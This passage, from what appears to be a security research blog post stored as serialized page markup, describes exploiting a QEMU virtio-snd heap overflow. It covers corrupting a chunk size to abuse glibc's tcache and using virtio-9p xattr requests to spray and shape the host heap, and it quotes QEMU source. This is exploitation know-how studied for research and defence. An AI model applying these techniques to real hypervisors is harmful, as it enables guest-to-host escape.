"props":125060,"children":125061},{"style":399},[125062],{"type":24,"value":486},{"type":19,"tag":168,"props":125064,"children":125065},{"style":175},[125066],{"type":24,"value":124031},{"type":19,"tag":168,"props":125068,"children":125069},{"style":212},[125070],{"type":24,"value":124036},{"type":19,"tag":168,"props":125072,"children":125073},{"class":170,"line":694},[125074],{"type":19,"tag":168,"props":125075,"children":125076},{"emptyLinePlaceholder":14},[125077],{"type":24,"value":1093},{"type":19,"tag":168,"props":125079,"children":125080},{"class":170,"line":707},[125081,125085,125089,125093],{"type":19,"tag":168,"props":125082,"children":125083},{"style":212},[125084],{"type":24,"value":124780},{"type":19,"tag":168,"props":125086,"children":125087},{"style":399},[125088],{"type":24,"value":486},{"type":19,"tag":168,"props":125090,"children":125091},{"style":175},[125092],{"type":24,"value":124358},{"type":19,"tag":168,"props":125094,"children":125095},{"style":212},[125096],{"type":24,"value":124077},{"type":19,"tag":168,"props":125098,"children":125099},{"class":170,"line":725},[125100],{"type":19,"tag":168,"props":125101,"children":125102},{"emptyLinePlaceholder":14},[125103],{"type":24,"value":1093},{"type":19,"tag":168,"props":125105,"children":125106},{"class":170,"line":746},[125107,125111,125115,125119,125123,125127],{"type":19,"tag":168,"props":125108,"children":125109},{"style":419},[125110],{"type":24,"value":28866},{"type":19,"tag":168,"props":125112,"children":125113},{"style":212},[125114],{"type":24,"value":461},{"type":19,"tag":168,"props":125116,"children":125117},{"style":175},[125118],{"type":24,"value":124553},{"type":19,"tag":168,"props":125120,"children":125121},{"style":212},[125122],{"type":24,"value":461},{"type":19,"tag":168,"props":125124,"children":125125},{"style":175},[125126],{"type":24,"value":124487},{"type":19,"tag":168,"props":125128,"children":125129},{"style":212},[125130],{"type":24,"value":124827},{"type":19,"tag":168,"props":125132,"children":125133},{"class":170,"line":755},[125134,125138,125142,125146,125150],{"type":19,"tag":168,"props":125135,"children":125136},{"style":419},[125137],{"type":24,"value":14438},{"type":19,"tag":168,"props":125139,"children":125140},{"style":175},[125141],{"type":24,"value":124839},{"type":19,"tag":168,"props":125143,"children":125144},{"style":212},[125145],{"type":24,"value":461},{"type":19,"tag":168,"props":125147,"children":125148},{"style":181},[125149],{"type":24,"value":124517},{"type":19,"tag":168,"props":125151,"children":125152},{"style":212},[125153],{"type":24,"value":1249},{"type":19,"tag":168,"props":125155,"children":125156},{"class":170,"line":1008},[125157],{"type":19,"tag":168,"props":125158,"children":125159},{"emptyLinePlaceholder":14},[125160],{"type":24,"value":1093},{"type":19,"tag":168,"props":125162,"children":125163},{"class":170,"line":1025},[125164,125168,125172,125177,125182],{"type":19,"tag":168,"props":125165,"children":125166},{"style":175},[125167],{"type":24,"value":124620},{"type":19,"tag":168,"props":125169,"children":125170},{"style":212},[125171],{"type":24,"value":461},{"type":19,"tag":168,"props":125173,"children":125174},{"style":175},[125175],{"type":24,"value":125176},"arena_for_chunk",{"type":19,"tag":168,"props":125178,"children":125179},{"style":212},[125180],{"type":24,"value":125181}," (p), p);",{"type":19,"tag":168,"props":125183,"children":125184},{"style":373},[125185],{"type":24,"value":125186}," // [1]\n",{"type":19,"tag":168,"props":125188,"children":125189},{"class":170,"line":1042},[125190],{"type":19,"tag":168,"props":125191,"children":125192},{"emptyLinePlaceholder":14},[125193],{"type":24,"value":1093},{"type":19,"tag":168,"props":125195,"children":125196},{"class":170,"line":1055},[125197,125201],{"type":19,"tag":168,"props":125198,"children":125199},{"style":419},[125200],{"type":24,"value":124866},{"type":19,"tag":168,"props":125202,"children":125203},{"style":175},[125204],{"type":24,"value":124871},{"type":19,"tag":168,"props":125206,"children":125207},{"class":170,"line":1064},[125208,125212,125216,125220,125224,125228,125232,125236,125240,125244,125249,125253,125258],{"type":19,"tag":168,"props":125209,"children":125210},{"style":419},[125211],{"type":24,"value":28866},{"type":19,"tag":168,"props":125213,"children":125214},{"style":212},[125215],{"type":24,"value":461},{"type":19,"tag":168,"props":125217,"children":125218},{"style":175},[125219],{"type":24,"value":124887},{"type":19,"tag":168,"props":125221,"children":125222},{"style":212},[125223],{"type":24,"value":124558},{"type":19,"tag":168,"props":125225,"children":125226},{"style":399},[125227],{"type":24,"value":3240},{"type":19,"tag":168,"props":125229,"children":125230},{"style":393},[125231],{"type":24,"value":124900},{"type":19,"tag":168,"props":125233,"children":125234},{"style":212},[125235],{"type":24,"value":948},{"type":19,"tag":168,"props":125237,"children":125238},{"style":393},[125239],{"type":24,"value":124909},{"type":19,"tag":168,"props":125241,"children":125242},{"style":399},[125243],{"type":24,"value":11631},{"type":19,"tag":168,"props":125245,"children":125246},{"style":212},[125247],{"type":24,"value":125248}," tcache ",{"type":19,"tag":168,"props":125250,"children":125251},{"style":399},[125252],{"type":24,"value":13136},{"type":19,"tag":168,"props":125254,"children":125255},{"style":382},[125256],{"type":24,"value":125257}," NULL",{"type":19,"tag":168,"props":125259,"children":125260},{"style":212},[125261],{"type":24,"value":17166},{"type":19,"tag":168,"props":125263,"children":125264},{"class":170,"line":1087},[125265],{"type":19,"tag":168,"props":125266,"children":125267},{"style":212},[125268],{"type":24,"value":124640},{"type":19,"tag":20,"props":125270,"children":125271},{},[125272,125274,125279],{"type":24,"value":125273},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":19,"tag":27,"props":125275,"children":125277},{"className":125276},[],[125278],{"type":24,"value":121747},{"type":24,"value":125280},", because on the latest 2.43 glibc they are non-existent.",{"type":19,"tag":16245,"props":125282,"children":125283},{},[],{"type":19,"tag":20,"props":125285,"children":125286},{},[125287,125289,125294,125296,125302,125304,125309,125311,125317],{"type":24,"value":125288},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":19,"tag":27,"props":125290,"children":125292},{"className":125291},[],[125293],{"type":24,"value":121747},{"type":24,"value":125295}," field was initially ",{"type":19,"tag":27,"props":125297,"children":125299},{"className":125298},[],[125300],{"type":24,"value":125301},"0x200",{"type":24,"value":125303},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":19,"tag":27,"props":125305,"children":125307},{"className":125306},[],[125308],{"type":24,"value":123924},{"type":24,"value":125310},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":19,"tag":27,"props":125312,"children":125314},{"className":125313},[],[125315],{"type":24,"value":125316},"[0x210, 0x2f0]",{"type":24,"value":125318},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":19,"tag":20,"props":125320,"children":125321},{},[125322],{"type":24,"value":125323},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":19,"tag":7050,"props":125325,"children":125327},{"id":125326},"heap-spraying",[125328],{"type":24,"value":125329},"Heap Spraying",{"type":19,"tag":20,"props":125331,"children":125332},{},[125333,125335,125340],{"type":24,"value":125334},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":19,"tag":27,"props":125336,"children":125338},{"className":125337},[],[125339],{"type":24,"value":125301},{"type":24,"value":125341},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":19,"tag":20,"props":125343,"children":125344},{},[125345,125347,125352],{"type":24,"value":125346},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":19,"tag":27,"props":125348,"children":125350},{"className":125349},[],[125351],{"type":24,"value":121942},{"type":24,"value":125353}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":19,"tag":20,"props":125355,"children":125356},{},[125357],{"type":24,"value":125358},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":19,"tag":16345,"props":125360,"children":125362},{"id":125361},"virtio-9p",[125363],{"type":24,"value":125361},{"type":19,"tag":20,"props":125365,"children":125366},{},[125367,125372],{"type":19,"tag":27,"props":125368,"children":125370},{"className":125369},[],[125371],{"type":24,"value":125361},{"type":24,"value":125373}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":19,"tag":20,"props":125375,"children":125376},{},[125377,125379,125385,125387,125393,125394,125400,125402,125407],{"type":24,"value":125378},"Through a ",{"type":19,"tag":27,"props":125380,"children":125382},{"className":125381},[],[125383],{"type":24,"value":125384},"P9_TXATTRCREATE",{"type":24,"value":125386}," request, we can allocate host-side buffers for both the ",{"type":19,"tag":27,"props":125388,"children":125390},{"className":125389},[],[125391],{"type":24,"value":125392},".name",{"type":24,"value":8436},{"type":19,"tag":27,"props":125395,"children":125397},{"className":125396},[],[125398],{"type":24,"value":125399},".value",{"type":24,"value":125401}," fields, with the size of ",{"type":19,"tag":27,"props":125403,"children":125405},{"className":125404},[],[125406],{"type":24,"value":125399},{"type":24,"value":125408}," being directly controlled by the guest.",{"type":19,"tag":158,"props":125410,"children":125412},{"code":125411,"language":543,"meta":7,"className":13963,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[125413],{"type":19,"tag":27,"props":125414,"children":125415},{"__ignoreMap":7},[125416,125458,125465,125489,125502,125513,125538,125546,125571,125588,125604,125630,125637,125658,125724,125748,125761,125768,125775,125782,125789,125809,125830,125841,125848,125855,125862,125869,125918,125974,126019],{"type":19,"tag":168,"props":125417,"children":125418},{"class":170,"line":171},[125419,125423,125427,125432,125437,125441,125445,125449,125454],{"type":19,"tag":168,"props":125420,"children":125421},{"style":382},[125422],{"type":24,"value":48527},{"type":19,"tag":168,"props":125424,"children":125425},{"style":382},[125426],{"type":24,"value":48532},{"type":19,"tag":168,"props":125428,"children":125429},{"style":212},[125430],{"type":24,"value":125431}," coroutine_fn ",{"type":19,"tag":168,"props":125433,"children":125434},{"style":175},[125435],{"type":24,"value":125436},"v9fs_xattrcreate",{"type":19,"tag":168,"props":125438,"children":125439},{"style":212},[125440],{"type":24,"value":500},{"type":19,"tag":168,"props":125442,"children":125443},{"style":382},[125444],{"type":24,"value":49110},{"type":19,"tag":168,"props":125446,"children":125447},{"style":399},[125448],{"type":24,"value":7259},{"type":19,"tag":168,"props":125450,"children":125451},{"style":393},[125452],{"type":24,"value":125453},"opaque",{"type":19,"tag":168,"props":125455,"children":125456},{"style":212},[125457],{"type":24,"value":557},{"type":19,"tag":168,"props":125459,"children":125460},{"class":170,"line":198},[125461],{"type":19,"tag":168,"props":125462,"children":125463},{"style":212},[125464],{"type":24,"value":8324},{"type":19,"tag":168,"props":125466,"children":125467},{"class":170,"line":415},[125468,125472,125477,125481,125485],{"type":19,"tag":168,"props":125469,"children":125470},{"style":382},[125471],{"type":24,"value":16530},{"type":19,"tag":168,"props":125473,"children":125474},{"style":212},[125475],{"type":24,"value":125476}," flags, rflags ",{"type":19,"tag":168,"props":125478,"children":125479},{"style":399},[125480],{"type":24,"value":486},{"type":19,"tag":168,"props":125482,"children":125483},{"style":192},[125484],{"type":24,"value":437},{"type":19,"tag":168,"props":125486,"children":125487},{"style":212},[125488],{"type":24,"value":412},{"type":19,"tag":168,"props":125490,"children":125491},{"class":170,"line":450},[125492,125497],{"type":19,"tag":168,"props":125493,"children":125494},{"style":382},[125495],{"type":24,"value":125496}," int32_t",{"type":19,"tag":168,"props":125498,"children":125499},{"style":212},[125500],{"type":24,"value":125501}," fid;\n",{"type":19,"tag":168,"props":125503,"children":125504},{"class":170,"line":560},[125505,125509],{"type":19,"tag":168,"props":125506,"children":125507},{"style":382},[125508],{"type":24,"value":53096},{"type":19,"tag":168,"props":125510,"children":125511},{"style":212},[125512],{"type":24,"value":122089},{"type":19,"tag":168,"props":125514,"children":125515},{"class":170,"line":666},[125516,125521,125526,125530,125534],{"type":19,"tag":168,"props":125517,"children":125518},{"style":382},[125519],{"type":24,"value":125520}," ssize_t",{"type":19,"tag":168,"props":125522,"children":125523},{"style":212},[125524],{"type":24,"value":125525}," err ",{"type":19,"tag":168,"props":125527,"children":125528},{"style":399},[125529],{"type":24,"value":486},{"type":19,"tag":168,"props":125531,"children":125532},{"style":192},[125533],{"type":24,"value":437},{"type":19,"tag":168,"props":125535,"children":125536},{"style":212},[125537],{"type":24,"value":412},{"type":19,"tag":168,"props":125539,"children":125540},{"class":170,"line":694},[125541],{"type":19,"tag":168,"props":125542,"children":125543},{"style":212},[125544],{"type":24,"value":125545}," V9fsString name;\n",{"type":19,"tag":168,"props":125547,"children":125548},{"class":170,"line":707},[125549,125553,125558,125562,125567],{"type":19,"tag":168,"props":125550,"children":125551},{"style":382},[125552],{"type":24,"value":14013},{"type":19,"tag":168,"props":125554,"children":125555},{"style":212},[125556],{"type":24,"value":125557}," offset ",{"type":19,"tag":168,"props":125559,"children":125560},{"style":399},[125561],{"type":24,"value":486},{"type":19,"tag":168,"props":125563,"children":125564},{"style":192},[125565],{"type":24,"value":125566}," 7",{"type":19,"tag":168,"props":125568,"children":125569},{"style":212},[125570],{"type":24,"value":412},{"type":19,"tag":168,"props":125572,"children":125573},{"class":170,"line":725},[125574,125579,125583],{"type":19,"tag":168,"props":125575,"children":125576},{"style":212},[125577],{"type":24,"value":125578}," V9fsFidState ",{"type":19,"tag":168,"props":125580,"children":125581},{"style":399},[125582],{"type":24,"value":2002},{"type":19,"tag":168,"props":125584,"children":125585},{"style":212},[125586],{"type":24,"value":125587},"file_fidp;\n",{"type":19,"tag":168,"props":125589,"children":125590},{"class":170,"line":746},[125591,125595,125599],{"type":19,"tag":168,"props":125592,"children":125593},{"style":212},[125594],{"type":24,"value":125578},{"type":19,"tag":168,"props":125596,"children":125597},{"style":399},[125598],{"type":24,"value":2002},{"type":19,"tag":168,"props":125600,"children":125601},{"style":212},[125602],{"type":24,"value":125603},"xattr_fidp;\n",{"type":19,"tag":168,"props":125605,"children":125606},{"class":170,"line":755},[125607,125612,125616,125621,125625],{"type":19,"tag":168,"props":125608,"children":125609},{"style":212},[125610],{"type":24,"value":125611}," V9fsPDU ",{"type":19,"tag":168,"props":125613,"children":125614},{"style":399},[125615],{"type":24,"value":2002},{"type":19,"tag":168,"props":125617,"children":125618},{"style":212},[125619],{"type":24,"value":125620},"pdu ",{"type":19,"tag":168,"props":125622,"children":125623},{"style":399},[125624],{"type":24,"value":486},{"type":19,"tag":168,"props":125626,"children":125627},{"style":212},[125628],{"type":24,"value":125629}," opaque;\n",{"type":19,"tag":168,"props":125631,"children":125632},{"class":170,"line":1008},[125633],{"type":19,"tag":168,"props":125634,"children":125635},{"emptyLinePlaceholder":14},[125636],{"type":24,"value":1093},{"type":19,"tag":168,"props":125638,"children":125639},{"class":170,"line":1025},[125640,125645,125649,125653],{"type":19,"tag":168,"props":125641,"children":125642},{"style":175},[125643],{"type":24,"value":125644}," v9fs_string_init",{"type":19,"tag":168,"props":125646,"children":125647},{"style":212},[125648],{"type":24,"value":500},{"type":19,"tag":168,"props":125650,"children":125651},{"style":399},[125652],{"type":24,"value":505},{"type":19,"tag":168,"props":125654,"children":125655},{"style":212},[125656],{"type":24,"value":125657},"name);\n",{"type":19,"tag":168,"props":125659,"children":125660},{"class":170,"line":1042},[125661,125666,125670,125675,125680,125685,125689,125693,125698,125702,125707,125711,125715,125719],{"type":19,"tag":168,"props":125662,"children":125663},{"style":212},[125664],{"type":24,"value":125665}," err ",{"type":19,"tag":168,"props":125667,"children":125668},{"style":399},[125669],{"type":24,"value":486},{"type":19,"tag":168,"props":125671,"children":125672},{"style":175},[125673],{"type":24,"value":125674}," pdu_unmarshal",{"type":19,"tag":168,"props":125676,"children":125677},{"style":212},[125678],{"type":24,"value":125679},"(pdu, offset, ",{"type":19,"tag":168,"props":125681,"children":125682},{"style":181},[125683],{"type":24,"value":125684},"\"dsqd\"",{"type":19,"tag":168,"props":125686,"children":125687},{"style":212},[125688],{"type":24,"value":471},{"type":19,"tag":168,"props":125690,"children":125691},{"style":399},[125692],{"type":24,"value":505},{"type":19,"tag":168,"props":125694,"children":125695},{"style":212},[125696],{"type":24,"value":125697},"fid, ",{"type":19,"tag":168,"props":125699,"children":125700},{"style":399},[125701],{"type":24,"value":505},{"type":19,"tag":168,"props":125703,"children":125704},{"style":212},[125705],{"type":24,"value":125706},"name, ",{"type":19,"tag":168,"props":125708,"children":125709},{"style":399},[125710],{"type":24,"value":505},{"type":19,"tag":168,"props":125712,"children":125713},{"style":212},[125714],{"type":24,"value":124457},{"type":19,"tag":168,"props":125716,"children":125717},{"style":399},[125718],{"type":24,"value":505},{"type":19,"tag":168,"props":125720,"children":125721},{"style":212},[125722],{"type":24,"value":125723},"flags);\n",{"type":19,"tag":168,"props":125725,"children":125726},{"class":170,"line":1055},[125727,125731,125736,125740,125744],{"type":19,"tag":168,"props":125728,"children":125729},{"style":419},[125730],{"type":24,"value":9724},{"type":19,"tag":168,"props":125732,"children":125733},{"style":212},[125734],{"type":24,"value":125735}," (err ",{"type":19,"tag":168,"props":125737,"children":125738},{"style":399},[125739],{"type":24,"value":3240},{"type":19,"tag":168,"props":125741,"children":125742},{"style":192},[125743],{"type":24,"value":437},{"type":19,"tag":168,"props":125745,"children":125746},{"style":212},[125747],{"type":24,"value":12250},{"type":19,"tag":168,"props":125749,"children":125750},{"class":170,"line":1064},[125751,125756],{"type":19,"tag":168,"props":125752,"children":125753},{"style":419},[125754],{"type":24,"value":125755}," goto",{"type":19,"tag":168,"props":125757,"children":125758},{"style":212},[125759],{"type":24,"value":125760}," out_nofid;\n",{"type":19,"tag":168,"props":125762,"children":125763},{"class":170,"line":1087},[125764],{"type":19,"tag":168,"props":125765,"children":125766},{"style":212},[125767],{"type":24,"value":761},{"type":19,"tag":168,"props":125769,"children":125770},{"class":170,"line":1096},[125771],{"type":19,"tag":168,"props":125772,"children":125773},{"emptyLinePlaceholder":14},[125774],{"type":24,"value":1093},{"type":19,"tag":168,"props":125776,"children":125777},{"class":170,"line":1105},[125778],{"type":19,"tag":168,"props":125779,"children":125780},{"style":212},[125781],{"type":24,"value":102288},{"type":19,"tag":168,"props":125783,"children":125784},{"class":170,"line":1174},[125785],{"type":19,"tag":168,"props":125786,"children":125787},{"emptyLinePlaceholder":14},[125788],{"type":24,"value":1093},{"type":19,"tag":168,"props":125790,"children":125791},{"class":170,"line":1182},[125792,125796,125800,125804],{"type":19,"tag":168,"props":125793,"children":125794},{"style":419},[125795],{"type":24,"value":9724},{"type":19,"tag":168,"props":125797,"children":125798},{"style":212},[125799],{"type":24,"value":124558},{"type":19,"tag":168,"props":125801,"children":125802},{"style":399},[125803],{"type":24,"value":7905},{"type":19,"tag":168,"props":125805,"children":125806},{"style":212},[125807],{"type":24,"value":125808}," P9_XATTR_SIZE_MAX) {\n",{"type":19,"tag":168,"props":125810,"children":125811},{"class":170,"line":1212},[125812,125817,125821,125825],{"type":19,"tag":168,"props":125813,"children":125814},{"style":212},[125815],{"type":24,"value":125816}," err ",{"type":19,"tag":168,"props":125818,"children":125819},{"style":399},[125820],{"type":24,"value":486},{"type":19,"tag":168,"props":125822,"children":125823},{"style":399},[125824],{"type":24,"value":48738},{"type":19,"tag":168,"props":125826,"children":125827},{"style":212},[125828],{"type":24,"value":125829},"E2BIG;\n",{"type":19,"tag":168,"props":125831,"children":125832},{"class":170,"line":1220},[125833,125837],{"type":19,"tag":168,"props":125834,"children":125835},{"style":419},[125836],{"type":24,"value":125755},{"type":19,"tag":168,"props":125838,"children":125839},{"style":212},[125840],{"type":24,"value":125760},{"type":19,"tag":168,"props":125842,"children":125843},{"class":170,"line":1252},[125844],{"type":19,"tag":168,"props":125845,"children":125846},{"style":212},[125847],{"type":24,"value":761},{"type":19,"tag":168,"props":125849,"children":125850},{"class":170,"line":1260},[125851],{"type":19,"tag":168,"props":125852,"children":125853},{"emptyLinePlaceholder":14},[125854],{"type":24,"value":1093},{"type":19,"tag":168,"props":125856,"children":125857},{"class":170,"line":1320},[125858],{"type":19,"tag":168,"props":125859,"children":125860},{"style":212},[125861],{"type":24,"value":102288},{"type":19,"tag":168,"props":125863,"children":125864},{"class":170,"line":6486},[125865],{"type":19,"tag":168,"props":125866,"children":125867},{"emptyLinePlaceholder":14},[125868],{"type":24,"value":1093},{"type":19,"tag":168,"props":125870,"children":125871},{"class":170,"line":6504},[125872,125876,125880,125884,125889,125893,125897,125901,125906,125910,125914],{"type":19,"tag":168,"props":125873,"children":125874},{"style":175},[125875],{"type":24,"value":125644},{"type":19,"tag":168,"props":125877,"children":125878},{"style":212},[125879],{"type":24,"value":500},{"type":19,"tag":168,"props":125881,"children":125882},{"style":399},[125883],{"type":24,"value":505},{"type":19,"tag":168,"props":125885,"children":125886},{"style":393},[125887],{"type":24,"value":125888},"xattr_fidp",{"type":19,"tag":168,"props":125890,"children":125891},{"style":212},[125892],{"type":24,"value":11203},{"type":19,"tag":168,"props":125894,"children":125895},{"style":393},[125896],{"type":24,"value":34457},{"type":19,"tag":168,"props":125898,"children":125899},{"style":212},[125900],{"type":24,"value":948},{"type":19,"tag":168,"props":125902,"children":125903},{"style":393},[125904],{"type":24,"value":125905},"xattr",{"type":19,"tag":168,"props":125907,"children":125908},{"style":212},[125909],{"type":24,"value":948},{"type":19,"tag":168,"props":125911,"children":125912},{"style":393},[125913],{"type":24,"value":45980},{"type":19,"tag":168,"props":125915,"children":125916},{"style":212},[125917],{"type":24,"value":1249},{"type":19,"tag":168,"props":125919,"children":125920},{"class":170,"line":6549},[125921,125926,125930,125934,125938,125942,125946,125950,125954,125958,125962,125966,125970],{"type":19,"tag":168,"props":125922,"children":125923},{"style":175},[125924],{"type":24,"value":125925}," v9fs_string_copy",{"type":19,"tag":168,"props":125927,"children":125928},{"style":212},[125929],{"type":24,"value":500},{"type":19,"tag":168,"props":125931,"children":125932},{"style":399},[125933],{"type":24,"value":505},{"type":19,"tag":168,"props":125935,"children":125936},{"style":393},[125937],{"type":24,"value":125888},{"type":19,"tag":168,"props":125939,"children":125940},{"style":212},[125941],{"type":24,"value":11203},{"type":19,"tag":168,"props":125943,"children":125944},{"style":393},[125945],{"type":24,"value":34457},{"type":19,"tag":168,"props":125947,"children":125948},{"style":212},[125949],{"type":24,"value":948},{"type":19,"tag":168,"props":125951,"children":125952},{"style":393},[125953],{"type":24,"value":125905},{"type":19,"tag":168,"props":125955,"children":125956},{"style":212},[125957],{"type":24,"value":948},{"type":19,"tag":168,"props":125959,"children":125960},{"style":393},[125961],{"type":24,"value":45980},{"type":19,"tag":168,"props":125963,"children":125964},{"style":212},[125965],{"type":24,"value":471},{"type":19,"tag":168,"props":125967,"children":125968},{"style":399},[125969],{"type":24,"value":505},{"type":19,"tag":168,"props":125971,"children":125972},{"style":212},[125973],{"type":24,"value":125657},{"type":19,"tag":168,"props":125975,"children":125976},{"class":170,"line":6655},[125977,125982,125986,125990,125994,125998,126002,126006,126010,126014],{"type":19,"tag":168,"props":125978,"children":125979},{"style":393},[125980],{"type":24,"value":125981}," xattr_fidp",{"type":19,"tag":168,"props":125983,"children":125984},{"style":212},[125985],{"type":24,"value":11203},{"type":19,"tag":168,"props":125987,"children":125988},{"style":393},[125989],{"type":24,"value":34457},{"type":19,"tag":168,"props":125991,"children":125992},{"style":212},[125993],{"type":24,"value":948},{"type":19,"tag":168,"props":125995,"children":125996},{"style":393},[125997],{"type":24,"value":125905},{"type":19,"tag":168,"props":125999,"children":126000},{"style":212},[126001],{"type":24,"value":948},{"type":19,"tag":168,"props":126003,"children":126004},{"style":393},[126005],{"type":24,"value":36627},{"type":19,"tag":168,"props":126007,"children":126008},{"style":399},[126009],{"type":24,"value":402},{"type":19,"tag":168,"props":126011,"children":126012},{"style":175},[126013],{"type":24,"value":121660},{"type":19,"tag":168,"props":126015,"children":126016},{"style":212},[126017],{"type":24,"value":126018},"(size);\n",{"type":19,"tag":168,"props":126020,"children":126021},{"class":170,"line":20965},[126022],{"type":19,"tag":168,"props":126023,"children":126024},{"style":212},[126025],{"type":24,"value":1326},{"type":19,"tag":20,"props":126027,"children":126028},{},[126029,126031,126036,126038,126043,126044,126049,126051,126056],{"type":24,"value":126030},"Because the ",{"type":19,"tag":27,"props":126032,"children":126034},{"className":126033},[],[126035],{"type":24,"value":125392},{"type":24,"value":126037}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":19,"tag":27,"props":126039,"children":126041},{"className":126040},[],[126042],{"type":24,"value":125392},{"type":24,"value":8436},{"type":19,"tag":27,"props":126045,"children":126047},{"className":126046},[],[126048],{"type":24,"value":125399},{"type":24,"value":126050},", not just the ",{"type":19,"tag":27,"props":126052,"children":126054},{"className":126053},[],[126055],{"type":24,"value":125399},{"type":24,"value":126057}," we actually care about. But we will get around this later in the blog post.",{"type":19,"tag":20,"props":126059,"children":126060},{},[126061,126062,126067],{"type":24,"value":14062},{"type":19,"tag":27,"props":126063,"children":126065},{"className":126064},[],[126066],{"type":24,"value":125399},{"type":24,"value":126068}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":19,"tag":20,"props":126070,"children":126071},{},[126072,126074,126079,126081,126087,126089,126095,126097,126103],{"type":24,"value":126073},"Once allocated, we can write arbitrary bytes into the ",{"type":19,"tag":27,"props":126075,"children":126077},{"className":126076},[],[126078],{"type":24,"value":125399},{"type":24,"value":126080}," buffer through a ",{"type":19,"tag":27,"props":126082,"children":126084},{"className":126083},[],[126085],{"type":24,"value":126086},"P9_TWRITE",{"type":24,"value":126088}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":19,"tag":27,"props":126090,"children":126092},{"className":126091},[],[126093],{"type":24,"value":126094},"P9_TREAD",{"type":24,"value":126096},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":19,"tag":27,"props":126098,"children":126100},{"className":126099},[],[126101],{"type":24,"value":126102},"P9_TCLUNK",{"type":24,"value":126104}," request on that same FID.",{"type":19,"tag":20,"props":126106,"children":126107},{},[126108,126110,126116],{"type":24,"value":126109},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":19,"tag":27,"props":126111,"children":126113},{"className":126112},[],[126114],{"type":24,"value":126115},"65536",{"type":24,"value":126117}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":19,"tag":7050,"props":126119,"children":126121},{"id":126120},"setting-the-heap-layout",[126122],{"type":24,"value":126123},"Setting the Heap Layout",{"type":19,"tag":20,"props":126125,"children":126126},{},[126127,126129,126134],{"type":24,"value":126128},"Ideally, we want a contiguous heap region consisting only of ",{"type":19,"tag":27,"props":126130,"children":126132},{"className":126131},[],[126133],{"type":24,"value":125399},{"type":24,"value":126135}," allocations, like this:",{"type":19,"tag":158,"props":126137,"children":126139},{"code":126138}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126140],{"type":19,"tag":27,"props":126141,"children":126142},{"__ignoreMap":7},[126143],{"type":24,"value":126138},{"type":19,"tag":20,"props":126145,"children":126146},{},[126147,126149,126154,126156,126161,126163,126168],{"type":24,"value":126148},"This lets us later create holes by freeing every other ",{"type":19,"tag":27,"props":126150,"children":126152},{"className":126151},[],[126153],{"type":24,"value":125399},{"type":24,"value":126155}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":19,"tag":27,"props":126157,"children":126159},{"className":126158},[],[126160],{"type":24,"value":121747},{"type":24,"value":126162}," field of the next live ",{"type":19,"tag":27,"props":126164,"children":126166},{"className":126165},[],[126167],{"type":24,"value":125399},{"type":24,"value":126169}," chunk.",{"type":19,"tag":20,"props":126171,"children":126172},{},[126173],{"type":24,"value":126174},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":19,"tag":20,"props":126176,"children":126177},{},[126178,126180,126185,126187,126192,126194,126199,126201,126206],{"type":24,"value":126179},"As mentioned earlier, ",{"type":19,"tag":27,"props":126181,"children":126183},{"className":126182},[],[126184],{"type":24,"value":125436},{"type":24,"value":126186}," always allocates two chunks: one for ",{"type":19,"tag":27,"props":126188,"children":126190},{"className":126189},[],[126191],{"type":24,"value":125392},{"type":24,"value":126193}," and one for ",{"type":19,"tag":27,"props":126195,"children":126197},{"className":126196},[],[126198],{"type":24,"value":125399},{"type":24,"value":126200},". We want to avoid having ",{"type":19,"tag":27,"props":126202,"children":126204},{"className":126203},[],[126205],{"type":24,"value":125392},{"type":24,"value":126207}," chunks inside our main contiguous region. There are two ways to approach 